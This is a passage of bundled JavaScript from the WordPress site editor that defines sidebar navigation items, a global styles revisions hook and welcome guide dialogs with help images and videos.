9598var chevron_left_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z" }) });
9599
9600
9601;// ./node_modules/@wordpress/icons/build-module/library/chevron-right-small.js
9602
9603
9604var chevron_right_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z" }) });
9605
9606
9607;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-item/index.js
9608
9609
9610
9611
9612
9613
9614
9615
9616
9617const { useHistory: sidebar_navigation_item_useHistory, useLink } = unlock(external_wp_router_namespaceObject.privateApis);
9618function SidebarNavigationItem({
9619 className,
9620 icon,
9621 withChevron = false,
9622 suffix,
9623 uid,
9624 to,
9625 onClick,
9626 children,
9627 ...props
9628}) {
9629 const history = sidebar_navigation_item_useHistory();
9630 const { navigate } = (0,external_wp_element_.useContext)(SidebarNavigationContext);
9631 function handleClick(e) {
9632 if (onClick) {
9633 onClick(e);
9634 navigate("forward");
9635 } else if (to) {
9636 e.preventDefault();
9637 history.navigate(to);
9638 navigate("forward", `[id="${uid}"]`);
9639 }
9640 }
9641 const linkProps = useLink(to);
9642 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9643 external_wp_components_namespaceObject.__experimentalItem,
9644 {
9645 className: dist_clsx(
9646 "edit-site-sidebar-navigation-item",
9647 { "with-suffix": !withChevron && suffix },
9648 className
9649 ),
9650 id: uid,
9651 onClick: handleClick,
9652 href: to ? linkProps.href : void 0,
9653 ...props,
9654 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
9655 icon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9656 icon_default,
9657 {
9658 style: { fill: "currentcolor" },
9659 icon,
9660 size: 24
9661 }
9662 ),
9663 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children }),
9664 withChevron && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9665 icon_default,
9666 {
9667 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_small_default : chevron_right_small_default,
9668 className: "edit-site-sidebar-navigation-item__drilldown-indicator",
9669 size: 24
9670 }
9671 ),
9672 !withChevron && suffix
9673 ] })
9674 }
9675 );
9676}
9677
9678
9679;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/use-global-styles-revisions.js
9680
9681
9682
9683
9684
9685const SITE_EDITOR_AUTHORS_QUERY = {
9686 per_page: -1,
9687 _fields: "id,name,avatar_urls",
9688 context: "view",
9689 capabilities: ["edit_theme_options"]
9690};
9691const DEFAULT_QUERY = { per_page: 100, page: 1 };
9692const use_global_styles_revisions_EMPTY_ARRAY = [];
9693const { GlobalStylesContext: use_global_styles_revisions_GlobalStylesContext } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
9694function useGlobalStylesRevisions({ query } = {}) {
9695 const { user: userConfig } = (0,external_wp_element_.useContext)(use_global_styles_revisions_GlobalStylesContext);
9696 const _query = { ...DEFAULT_QUERY, ...query };
9697 const {
9698 authors,
9699 currentUser,
9700 isDirty,
9701 revisions,
9702 isLoadingGlobalStylesRevisions,
9703 revisionsCount
9704 } = (0,external_wp_data_.useSelect)(
9705 (select) => {
9706 const {
9707 __experimentalGetDirtyEntityRecords,
9708 getCurrentUser,
9709 getUsers,
9710 getRevisions,
9711 __experimentalGetCurrentGlobalStylesId,
9712 getEntityRecord,
9713 isResolving
9714 } = select(external_wp_coreData_namespaceObject.store);
9715 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
9716 const _currentUser = getCurrentUser();
9717 const _isDirty = dirtyEntityRecords.length > 0;
9718 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
9719 const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
9720 const _revisionsCount = globalStyles?._links?.["version-history"]?.[0]?.count ?? 0;
9721 const globalStylesRevisions = getRevisions(
9722 "root",
9723 "globalStyles",
9724 globalStylesId,
9725 _query
9726 ) || use_global_styles_revisions_EMPTY_ARRAY;
9727 const _authors = getUsers(SITE_EDITOR_AUTHORS_QUERY) || use_global_styles_revisions_EMPTY_ARRAY;
9728 const _isResolving = isResolving("getRevisions", [
9729 "root",
9730 "globalStyles",
9731 globalStylesId,
9732 _query
9733 ]);
9734 return {
9735 authors: _authors,
9736 currentUser: _currentUser,
9737 isDirty: _isDirty,
9738 revisions: globalStylesRevisions,
9739 isLoadingGlobalStylesRevisions: _isResolving,
9740 revisionsCount: _revisionsCount
9741 };
9742 },
9743 [query]
9744 );
9745 return (0,external_wp_element_.useMemo)(() => {
9746 if (!authors.length || isLoadingGlobalStylesRevisions) {
9747 return {
9748 revisions: use_global_styles_revisions_EMPTY_ARRAY,
9749 hasUnsavedChanges: isDirty,
9750 isLoading: true,
9751 revisionsCount
9752 };
9753 }
9754 const _modifiedRevisions = revisions.map((revision) => {
9755 return {
9756 ...revision,
9757 author: authors.find(
9758 (author) => author.id === revision.author
9759 )
9760 };
9761 });
9762 const fetchedRevisionsCount = revisions.length;
9763 if (fetchedRevisionsCount) {
9764 if (_modifiedRevisions[0].id !== "unsaved" && _query.page === 1) {
9765 _modifiedRevisions[0].isLatest = true;
9766 }
9767 if (isDirty && userConfig && Object.keys(userConfig).length > 0 && currentUser && _query.page === 1) {
9768 const unsavedRevision = {
9769 id: "unsaved",
9770 styles: userConfig?.styles,
9771 settings: userConfig?.settings,
9772 _links: userConfig?._links,
9773 author: {
9774 name: currentUser?.name,
9775 avatar_urls: currentUser?.avatar_urls
9776 },
9777 modified: /* @__PURE__ */ new Date()
9778 };
9779 _modifiedRevisions.unshift(unsavedRevision);
9780 }
9781 if (_query.page === Math.ceil(revisionsCount / _query.per_page)) {
9782 _modifiedRevisions.push({
9783 id: "parent",
9784 styles: {},
9785 settings: {}
9786 });
9787 }
9788 }
9789 return {
9790 revisions: _modifiedRevisions,
9791 hasUnsavedChanges: isDirty,
9792 isLoading: false,
9793 revisionsCount
9794 };
9795 }, [
9796 isDirty,
9797 revisions,
9798 currentUser,
9799 authors,
9800 userConfig,
9801 isLoadingGlobalStylesRevisions
9802 ]);
9803}
9804
9805
9806;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-details-footer/index.js
9807
9808
9809
9810
9811
9812
9813function SidebarNavigationScreenDetailsFooter({
9814 record,
9815 revisionsCount,
9816 ...otherProps
9817}) {
9818 const hrefProps = {};
9819 const lastRevisionId = record?._links?.["predecessor-version"]?.[0]?.id ?? null;
9820 revisionsCount = revisionsCount || record?._links?.["version-history"]?.[0]?.count || 0;
9821 if (lastRevisionId && revisionsCount > 1) {
9822 hrefProps.href = (0,external_wp_url_namespaceObject.addQueryArgs)("revision.php", {
9823 revision: record?._links["predecessor-version"][0].id
9824 });
9825 hrefProps.as = "a";
9826 }
9827 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9828 external_wp_components_namespaceObject.__experimentalItemGroup,
9829 {
9830 size: "large",
9831 className: "edit-site-sidebar-navigation-screen-details-footer",
9832 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9833 SidebarNavigationItem,
9834 {
9835 icon: backup_default,
9836 ...hrefProps,
9837 ...otherProps,
9838 children: (0,external_wp_i18n_namespaceObject.sprintf)(
9839 /* translators: %d: Number of Styles revisions. */
9840 (0,external_wp_i18n_namespaceObject._n)("%d Revision", "%d Revisions", revisionsCount),
9841 revisionsCount
9842 )
9843 }
9844 )
9845 }
9846 );
9847}
9848
9849
9850;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-global-styles/index.js
9851
9852
9853
9854
9855
9856
9857
9858
9859
9860
9861
9862
9863
9864
9865const { useLocation: sidebar_navigation_screen_global_styles_useLocation, useHistory: sidebar_navigation_screen_global_styles_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
9866function SidebarNavigationItemGlobalStyles(props) {
9867 const { name } = sidebar_navigation_screen_global_styles_useLocation();
9868 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9869 SidebarNavigationItem,
9870 {
9871 ...props,
9872 "aria-current": name === "styles"
9873 }
9874 );
9875}
9876function SidebarNavigationScreenGlobalStyles() {
9877 const history = sidebar_navigation_screen_global_styles_useHistory();
9878 const { path } = sidebar_navigation_screen_global_styles_useLocation();
9879 const {
9880 revisions,
9881 isLoading: isLoadingRevisions,
9882 revisionsCount
9883 } = useGlobalStylesRevisions();
9884 const { openGeneralSidebar } = (0,external_wp_data_.useDispatch)(store);
9885 const { setEditorCanvasContainerView } = unlock(
9886 (0,external_wp_data_.useDispatch)(store)
9887 );
9888 const { set: setPreference } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
9889 const openGlobalStyles = (0,external_wp_element_.useCallback)(async () => {
9890 history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, { canvas: "edit" }), {
9891 transition: "canvas-mode-edit-transition"
9892 });
9893 return Promise.all([
9894 setPreference("core", "distractionFree", false),
9895 openGeneralSidebar("edit-site/global-styles")
9896 ]);
9897 }, [path, history, openGeneralSidebar, setPreference]);
9898 const openRevisions = (0,external_wp_element_.useCallback)(async () => {
9899 await openGlobalStyles();
9900 setEditorCanvasContainerView("global-styles-revisions");
9901 }, [openGlobalStyles, setEditorCanvasContainerView]);
9902 const shouldShowGlobalStylesFooter = !!revisionsCount && !isLoadingRevisions;
9903 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9904 SidebarNavigationScreen,
9905 {
9906 title: (0,external_wp_i18n_namespaceObject.__)("Design"),
9907 isRoot: true,
9908 description: (0,external_wp_i18n_namespaceObject.__)(
9909 "Customize the appearance of your website using the block editor."
9910 ),
9911 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MainSidebarNavigationContent, { activeItem: "styles-navigation-item" }),
9912 footer: shouldShowGlobalStylesFooter && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9913 SidebarNavigationScreenDetailsFooter,
9914 {
9915 record: revisions?.[0],
9916 revisionsCount,
9917 onClick: openRevisions
9918 }
9919 )
9920 }
9921 ) });
9922}
9923
9924
9925;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-main/index.js
9926
9927
9928
9929
9930
9931
9932
9933
9934
9935
9936
9937
9938function MainSidebarNavigationContent({ isBlockBasedTheme = true }) {
9939 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-main", children: [
9940 isBlockBasedTheme && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
9941 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9942 SidebarNavigationItemGlobalStyles,
9943 {
9944 to: "/styles",
9945 uid: "global-styles-navigation-item",
9946 icon: styles_default,
9947 children: (0,external_wp_i18n_namespaceObject.__)("Styles")
9948 }
9949 ),
9950 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9951 SidebarNavigationItem,
9952 {
9953 uid: "navigation-navigation-item",
9954 to: "/navigation",
9955 withChevron: true,
9956 icon: navigation_default,
9957 children: (0,external_wp_i18n_namespaceObject.__)("Navigation")
9958 }
9959 ),
9960 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9961 SidebarNavigationItem,
9962 {
9963 uid: "page-navigation-item",
9964 to: "/page",
9965 withChevron: true,
9966 icon: page_default,
9967 children: (0,external_wp_i18n_namespaceObject.__)("Pages")
9968 }
9969 ),
9970 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9971 SidebarNavigationItem,
9972 {
9973 uid: "template-navigation-item",
9974 to: "/template",
9975 withChevron: true,
9976 icon: layout_default,
9977 children: (0,external_wp_i18n_namespaceObject.__)("Templates")
9978 }
9979 )
9980 ] }),
9981 !isBlockBasedTheme && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9982 SidebarNavigationItem,
9983 {
9984 uid: "stylebook-navigation-item",
9985 to: "/stylebook",
9986 withChevron: true,
9987 icon: styles_default,
9988 children: (0,external_wp_i18n_namespaceObject.__)("Styles")
9989 }
9990 ),
9991 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
9992 SidebarNavigationItem,
9993 {
9994 uid: "patterns-navigation-item",
9995 to: "/pattern",
9996 withChevron: true,
9997 icon: symbol_default,
9998 children: (0,external_wp_i18n_namespaceObject.__)("Patterns")
9999 }
10000 )
10001 ] });
10002}
10003function SidebarNavigationScreenMain({ customDescription }) {
10004 const isBlockBasedTheme = (0,external_wp_data_.useSelect)(
10005 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme,
10006 []
10007 );
10008 const { setEditorCanvasContainerView } = unlock(
10009 (0,external_wp_data_.useDispatch)(store)
10010 );
10011 (0,external_wp_element_.useEffect)(() => {
10012 setEditorCanvasContainerView(void 0);
10013 }, [setEditorCanvasContainerView]);
10014 let description;
10015 if (customDescription) {
10016 description = customDescription;
10017 } else if (isBlockBasedTheme) {
10018 description = (0,external_wp_i18n_namespaceObject.__)(
10019 "Customize the appearance of your website using the block editor."
10020 );
10021 } else {
10022 description = (0,external_wp_i18n_namespaceObject.__)(
10023 "Explore block styles and patterns to refine your site."
10024 );
10025 }
10026 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10027 SidebarNavigationScreen,
10028 {
10029 isRoot: true,
10030 title: (0,external_wp_i18n_namespaceObject.__)("Design"),
10031 description,
10032 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10033 MainSidebarNavigationContent,
10034 {
10035 isBlockBasedTheme
10036 }
10037 )
10038 }
10039 );
10040}
10041
10042
10043;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-unsupported/index.js
10044
10045
10046
10047function SidebarNavigationScreenUnsupported() {
10048 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { padding: 3, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "warning", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)(
10049 "The theme you are currently using does not support this screen."
10050 ) }) });
10051}
10052
10053
10054;// ./node_modules/@wordpress/icons/build-module/library/arrow-up-left.js
10055
10056
10057var arrow_up_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14 6H6v8h1.5V8.5L17 18l1-1-9.5-9.5H14V6Z" }) });
10058
10059
10060;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/image.js
10061
10062function WelcomeGuideImage({ nonAnimatedSrc, animatedSrc }) {
10063 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", { className: "edit-site-welcome-guide__image", children: [
10064 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10065 "source",
10066 {
10067 srcSet: nonAnimatedSrc,
10068 media: "(prefers-reduced-motion: reduce)"
10069 }
10070 ),
10071 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: animatedSrc, width: "312", height: "240", alt: "" })
10072 ] });
10073}
10074
10075
10076;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/editor.js
10077
10078
10079
10080
10081
10082
10083
10084
10085function WelcomeGuideEditor() {
10086 const { toggle } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
10087 const { isActive, isBlockBasedTheme } = (0,external_wp_data_.useSelect)((select) => {
10088 return {
10089 isActive: !!select(external_wp_preferences_.store).get(
10090 "core/edit-site",
10091 "welcomeGuide"
10092 ),
10093 isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme
10094 };
10095 }, []);
10096 if (!isActive || !isBlockBasedTheme) {
10097 return null;
10098 }
10099 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10100 external_wp_components_namespaceObject.Guide,
10101 {
10102 className: "edit-site-welcome-guide guide-editor",
10103 contentLabel: (0,external_wp_i18n_namespaceObject.__)("Welcome to the site editor"),
10104 finishButtonText: (0,external_wp_i18n_namespaceObject.__)("Get started"),
10105 onFinish: () => toggle("core/edit-site", "welcomeGuide"),
10106 pages: [
10107 {
10108 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10109 WelcomeGuideImage,
10110 {
10111 nonAnimatedSrc: "https://s.w.org/images/block-editor/edit-your-site.svg?1",
10112 animatedSrc: "https://s.w.org/images/block-editor/edit-your-site.gif?1"
10113 }
10114 ),
10115 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10116 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Edit your site") }),
10117 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
10118 "Design everything on your site \u2014 from the header right down to the footer \u2014 using blocks."
10119 ) }),
10120 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0,external_wp_element_.createInterpolateElement)(
10121 (0,external_wp_i18n_namespaceObject.__)(
10122 "Click <StylesIconImage /> to start designing your blocks, and choose your typography, layout, and colors."
10123 ),
10124 {
10125 StylesIconImage: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10126 "img",
10127 {
10128 alt: (0,external_wp_i18n_namespaceObject.__)("styles"),
10129 src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' fill='%231E1E1E'/%3E%3C/svg%3E%0A"
10130 }
10131 )
10132 }
10133 ) })
10134 ] })
10135 }
10136 ]
10137 }
10138 );
10139}
10140
10141
10142;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/styles.js
10143
10144
10145
10146
10147
10148
10149
10150
10151const { interfaceStore: styles_interfaceStore } = unlock(external_wp_editor_namespaceObject.privateApis);
10152function WelcomeGuideStyles() {
10153 const { toggle } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
10154 const { isActive, isStylesOpen } = (0,external_wp_data_.useSelect)((select) => {
10155 const sidebar = select(styles_interfaceStore).getActiveComplementaryArea("core");
10156 return {
10157 isActive: !!select(external_wp_preferences_.store).get(
10158 "core/edit-site",
10159 "welcomeGuideStyles"
10160 ),
10161 isStylesOpen: sidebar === "edit-site/global-styles"
10162 };
10163 }, []);
10164 if (!isActive || !isStylesOpen) {
10165 return null;
10166 }
10167 const welcomeLabel = (0,external_wp_i18n_namespaceObject.__)("Welcome to Styles");
10168 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10169 external_wp_components_namespaceObject.Guide,
10170 {
10171 className: "edit-site-welcome-guide guide-styles",
10172 contentLabel: welcomeLabel,
10173 finishButtonText: (0,external_wp_i18n_namespaceObject.__)("Get started"),
10174 onFinish: () => toggle("core/edit-site", "welcomeGuideStyles"),
10175 pages: [
10176 {
10177 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10178 WelcomeGuideImage,
10179 {
10180 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-to-styles.svg?1",
10181 animatedSrc: "https://s.w.org/images/block-editor/welcome-to-styles.gif?1"
10182 }
10183 ),
10184 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10185 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: welcomeLabel }),
10186 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
10187 "Tweak your site, or give it a whole new look! Get creative \u2014 how about a new color palette for your buttons, or choosing a new font? Take a look at what you can do here."
10188 ) })
10189 ] })
10190 },
10191 {
10192 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10193 WelcomeGuideImage,
10194 {
10195 nonAnimatedSrc: "https://s.w.org/images/block-editor/set-the-design.svg?1",
10196 animatedSrc: "https://s.w.org/images/block-editor/set-the-design.gif?1"
10197 }
10198 ),
10199 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10200 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Set the design") }),
10201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
10202 "You can customize your site as much as you like with different colors, typography, and layouts. Or if you prefer, just leave it up to your theme to handle!"
10203 ) })
10204 ] })
10205 },
10206 {
10207 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10208 WelcomeGuideImage,
10209 {
10210 nonAnimatedSrc: "https://s.w.org/images/block-editor/personalize-blocks.svg?1",
10211 animatedSrc: "https://s.w.org/images/block-editor/personalize-blocks.gif?1"
10212 }
10213 ),
10214 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10215 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Personalize blocks") }),
10216 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
10217 "You can adjust your blocks to ensure a cohesive experience across your site \u2014 add your unique colors to a branded Button block, or adjust the Heading block to your preferred size."
10218 ) })
10219 ] })
10220 },
10221 {
10222 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10223 WelcomeGuideImage,
10224 {
10225 nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.svg",
10226 animatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.gif"
10227 }
10228 ),
10229 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10230 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: (0,external_wp_i18n_namespaceObject.__)("Learn more") }),
10231 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { className: "edit-site-welcome-guide__text", children: [
10232 (0,external_wp_i18n_namespaceObject.__)(
10233 "New to block themes and styling your site?"
10234 ),
10235 " ",
10236 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10237 external_wp_components_namespaceObject.ExternalLink,
10238 {
10239 href: (0,external_wp_i18n_namespaceObject.__)(
10240 "https://wordpress.org/documentation/article/styles-overview/"
10241 ),
10242 children: (0,external_wp_i18n_namespaceObject.__)(
10243 "Here\u2019s a detailed guide to learn how to make the most of it."
10244 )
10245 }
10246 )
10247 ] })
10248 ] })
10249 }
10250 ]
10251 }
10252 );
10253}
10254
10255
10256;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/page.js
10257
10258
10259
10260
10261
10262function WelcomeGuidePage() {
10263 const { toggle } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
10264 const isVisible = (0,external_wp_data_.useSelect)((select) => {
10265 const isPageActive = !!select(external_wp_preferences_.store).get(
10266 "core/edit-site",
10267 "welcomeGuidePage"
10268 );
10269 const isEditorActive = !!select(external_wp_preferences_.store).get(
10270 "core/edit-site",
10271 "welcomeGuide"
10272 );
10273 return isPageActive && !isEditorActive;
10274 }, []);
10275 if (!isVisible) {
10276 return null;
10277 }
10278 const heading = (0,external_wp_i18n_namespaceObject.__)("Editing a page");
10279 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10280 external_wp_components_namespaceObject.Guide,
10281 {
10282 className: "edit-site-welcome-guide guide-page",
10283 contentLabel: heading,
10284 finishButtonText: (0,external_wp_i18n_namespaceObject.__)("Continue"),
10285 onFinish: () => toggle("core/edit-site", "welcomeGuidePage"),
10286 pages: [
10287 {
10288 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10289 "video",
10290 {
10291 className: "edit-site-welcome-guide__video",
10292 autoPlay: true,
10293 loop: true,
10294 muted: true,
10295 width: "312",
10296 height: "240",
10297 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10298 "source",
10299 {
10300 src: "https://s.w.org/images/block-editor/editing-your-page.mp4",
10301 type: "video/mp4"
10302 }
10303 )
10304 }
10305 ),
10306 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10307 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: heading }),
10308 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0,external_wp_i18n_namespaceObject.__)(
10309 // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
10310 "It\u2019s now possible to edit page content in the site editor. To customise other parts of the page like the header and footer switch to editing the template using the settings sidebar."
10311 ) })
10312 ] })
10313 }
10314 ]
10315 }
10316 );
10317}
10318
10319
10320;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/template.js
10321
10322
10323
10324
10325
10326
10327function WelcomeGuideTemplate() {
10328 const { toggle } = (0,external_wp_data_.useDispatch)(external_wp_preferences_.store);
10329 const { isActive, hasPreviousEntity } = (0,external_wp_data_.useSelect)((select) => {
10330 const { getEditorSettings } = select(external_wp_editor_namespaceObject.store);
10331 const { get } = select(external_wp_preferences_.store);
10332 return {
10333 isActive: get("core/edit-site", "welcomeGuideTemplate"),
10334 hasPreviousEntity: !!getEditorSettings().onNavigateToPreviousEntityRecord
10335 };
10336 }, []);
10337 const isVisible = isActive && hasPreviousEntity;
10338 if (!isVisible) {
10339 return null;
10340 }
10341 const heading = (0,external_wp_i18n_namespaceObject.__)("Editing a template");
10342 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10343 external_wp_components_namespaceObject.Guide,
10344 {
10345 className: "edit-site-welcome-guide guide-template",
10346 contentLabel: heading,
10347 finishButtonText: (0,external_wp_i18n_namespaceObject.__)("Continue"),
10348 onFinish: () => toggle("core/edit-site", "welcomeGuideTemplate"),
10349 pages: [
10350 {
10351 image: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10352 "video",
10353 {
10354 className: "edit-site-welcome-guide__video",
10355 autoPlay: true,
10356 loop: true,
10357 muted: true,
10358 width: "312",
10359 height: "240",
10360 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10361 "source",
10362 {
10363 src: "https://s.w.org/images/block-editor/editing-your-template.mp4",
10364 type: "video/mp4"
10365 }
10366 )
10367 }
10368 ),
10369 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10370 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: heading }),
